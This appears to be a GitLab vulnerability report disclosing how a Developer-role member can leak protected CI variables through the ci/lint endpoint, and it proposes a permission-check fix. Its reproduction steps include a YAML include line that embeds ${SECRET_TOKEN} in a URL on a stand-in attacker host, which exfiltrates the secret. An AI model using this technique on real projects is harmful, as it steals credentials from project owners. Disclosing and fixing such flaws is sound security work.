Skip to content

Backend: Developer who can't run pipelines on protected branches can exfiltrate default branch protected CI variables via ci/lint

Summary

A developer member lacking the ability to run a pipeline on a project's default branch can exfiltrate default branch protected CI variables via ci/lint endpoints (UI or API).

Context

GitLab ships with the following defaults:

  • Default branches are protected
  • Running a pipeline on a protected branch requires Maintainer or Owner role, Developer members can not run pipelines on protected branches
  • POST requests to [...]/ci/lint endpoints will use the project's default branch when "Simulate a pipeline created for the default branch" box is unchecked (UI) or dry_run or is false (API) by default

The permission to merge or push to protected branches defines whether or not a user can run CI/CD pipelines and trigger CI jobs for protected branches. References:

Steps to reproduce

Two users are required to reproduce this. For simplicity and clarity, we'll name these users victim and attacker.

  1. Create a new project as victim (e.g. gitlab.example.com/victim/<project_name>)

  2. Go to this project's Settings > CI/CD > Variables, add a PROTECTED variable named SECRET_TOKEN with value super_secret_token

  3. Invite attacker to victim/<project_name>

  4. As attacker, verify that you cannot merge changes directly to .gitlab-ci.yml or run a pipeline on the victim/<project_name>'s default branch because it's a protected branch (by default) Reference: https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-security-on-protected-branches1. As attacker, spin up an external webserver which will log requests (or use webhook.site to generate a webhook URL)

  5. Visit gitlab.example.com/victim/<testproject>/-/ci/lint and add the following content to the "Contents of .gitlab-ci.yml` input box:

    include:
      - https://attacker-site.example.com/${SECRET_TOKEN}.yml
  6. Verify that super_secret_token was transmitted in plaintext to the attacker-controlled external endpoint in the logged/captured request URL

Note: successful attack requires the attacker knowing or guessing the name of a protected $CI_VARIABLE. This adds a degree of "security through obscurity", but this can generally be overcome as protected $CI_VARIABLES are often referenced in a project's pipeline configuration. For example, in real-world use cases, if $SECRET_TOKEN is set as a protected variable in a project, then it's likely that this project will reference ${SECRET_TOKEN} or $SECRET_TOKEN in the pipeline configuration YAML files being used by this project.

What is the current bug behavior?

Developer users unable to run pipelines on protected branches can exfiltrate protected variables on the default branch via POST request to ci/lint.

What is the expected correct behavior?

Only users allowed to merge or push to a default/protected branch can make POST requests to <project>/ci/lint endpoints.

Output of checks

This bug happens on GitLab.com

Possible fixes

Check whether a user making POST requests to a project's /ci/lint endpoints has the ability to merge or push to protected branches. If not, POST requests to the ci/lint endpoint targeting protected branches should fail.

cc @gitlab-com/gl-security/appsec

Edited by Greg Myers